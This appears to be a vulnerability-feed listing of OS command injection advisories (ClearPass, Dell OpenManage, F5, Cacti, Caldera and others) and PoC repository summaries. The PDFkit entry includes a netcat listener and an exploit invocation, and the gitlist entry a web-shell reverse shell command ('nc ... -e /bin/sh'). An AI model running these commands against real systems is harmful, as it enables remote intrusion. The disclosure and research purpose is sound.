EUVD-2026-93889

A command injection vulnerability exists in the client software of ClearPass Policy Manager. Successful exploitation could allow an attacker who is able to supply crafted input to the affected software to execute arbitrary commands with elevated privileges on the affected host...

CVE-2026-79802

A command injection vulnerability exists in the client software of ClearPass Policy Manager . An attacker capable of supplying crafted input to the affected software can execute arbitrary commands with elevated privileges on the host. Specific details regarding the vulnerable component, root caus...

CVE-2026-79802 Command Injection Vulnerability in the ClearPass Policy Manager Client Software

A command injection vulnerability exists in the client software of ClearPass Policy Manager. Successful exploitation could allow an attacker who is able to supply crafted input to the affected software to execute arbitrary commands with elevated privileges on the affected host...

CVE-2026-48030

CVE-2026-48030 — Injection de commandes OS dans Pheditor Aperçu Champ| Détails ---|--- ID CVE| CVE-2026-48030 Produit| pheditor Fournisseur| Hamid Samak Versions affectées| 2.0.1, 2.0.2, 2.0.3 Version corrigée| 2.0.4 Gravité| Critique Score CVSS| 9.9 Vecteur CVSS|...

knowns OS Command Injection via Insecure LSP Binary Path Config in .knowns/config.json

Overview A critical Arbitrary Code Execution ACE vulnerability exists in the Knowns Language Server Protocol LSP detection and startup pipeline. The system blindly trusts the settings.lsp.languages..binary field defined in the project-level .knowns/config.json file. Because this field is never...

NPM: knowns OS Command Injection via Insecure LSP Binary Path Config in .knowns/config.json

NPM: knowns OS Command Injection via Insecure LSP Binary Path Config in .knowns/config.json vulnerability discovered by ? in WordPress Npm knowns versions = 0.29.1...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 استغلال لثغرة حقن الأوامر CVE-2022-25765 في pdfkit 0.8.6 اطلع على تفاصيل أكثر عن الثغرة هنا PoC شغل netcat على مضيفك: $ nc -lvnp 1337 شغل الاستغلال مثال: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost...

CVE-2026-101207

Dell OpenManage Integration with Microsoft Windows Admin Center, versions prior to 3.7.0, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability,...

EUVD-2026-93575

Dell OpenManage Integration with Microsoft Windows Admin Center, versions prior to 3.7.0, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability,...

CVE-2026-101207

Dell OpenManage Integration with Microsoft Windows Admin Center, versions prior to 3.7.0, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability,...

CVE-2026-101207

Dell OpenManage Integration with Microsoft Windows Admin Center, versions prior to 3.7.0, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability,...

CVE-2026-101207

Dell OpenManage Integration with Microsoft Windows Admin Center (versions prior to 3.7.0 ) is vulnerable to an OS Command Injection vulnerability (CWE-78). A low-privileged attacker with remote access could exploit this flaw to achieve Remote Execution , potentially gaining SYSTEM privileges on t...

CVE-2024-10914__POC

CVE-2024-10914 - إثبات المفهوم استغلال لثغرة حقن الأوامر في نقطة الوصول /cgi-bin/accountmgr.cgi. تسمح هذه الثغرة بتنفيذ أوامر عشوائية على النظام المتأثر عبر معاملات غير معقمة. وصف الثغرة CVE-2024-10914 هي ثغرة حقن أوامر تؤثر على الأجهزة التي تحتوي على واجهة ويب CGI. التطبيق الثغري لا يتحقق بشكل...

gitlist-RCE

gitlist-RCE CVE-2014-4511 مثال: بعد رفع الشيل بنجاح: الوصول: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-46394-haxcms-git-command-injection

CVE-2026-46394 - Injection de commandes OS CWE-78 dans Git.php de HAXcms Preuve de concept pour tests de sécurité autorisés et recherche uniquement. La vulnérabilité décrite ici est corrigée dans la dernière version de HAXcms. Cette PoC est publiée afin que les défenseurs et les chercheurs puisse...

CVE-2025-20029

CVE-2025-20029 : Injection de commandes dans la CLI TMSH sur F5 BIG-IP Une vulnérabilité d'injection de commandes existe dans la CLI restreinte « tmsh » de F5, qui permet à un attaquant authentifié d'exploiter les commandes accessibles par un utilisateur à faibles privilèges afin de contourner le...

CVE-2021-42561

CVE-2021-42561: Injection de commandes via le plugin Human dans MITRE Caldera Dans Caldera versions =2.8.1, le plugin Human transmet le paramètre name non assaini à une fonction Python "os.system". Cela permet aux attaquants d'utiliser des métacaractères shell par exemple les backticks "" ou les...

cacti-rce-cve-2022-46169-vulnerable-application

Cacti v1.2.22 حقن أوامر CVE-2022-46169 تطبيق ضعيف هذا تطبيق ضعيف لاختبار استغلال ثغرة Cacti CVE-2022-46169. تحذير! يحتوي هذا التطبيق على ثغرات أمنية خطيرة. قم بتشغيله على مسؤوليتك الخاصة! يُوصى باستخدام بيئة مدعومة ومعزولة مثل جهاز افتراضي مع لقطة حديثة وشبكة مضيفة فقط. لا تقم برفع هذا التطبيق إل...

CVE-2022-46169

Cacti v1.2.22 : Vulnérabilité d'injection de commande non authentifiée CVE-2022-46169 Basé sur l'exploit PoC d'ariyaadinatha pour CVE-2022-46169...

CVE-2022-1388

F5-CVE-2022-1388-Exploit استغلال ثغرة CVE 2022-1388 ونص تحقق الاستخدام bash / | | | || | / | |/ / \ / | | || || | | / /| | | || | ' / /'| |/' |' / /'' / /'| | / / \ V / \ V / | | | | | || ||| / / | /| | / / / / ||| | \ \ / \ / \ | /\ / /| | ./ /\ |/ /./ /./ / | |./ /| || || || | / / / /...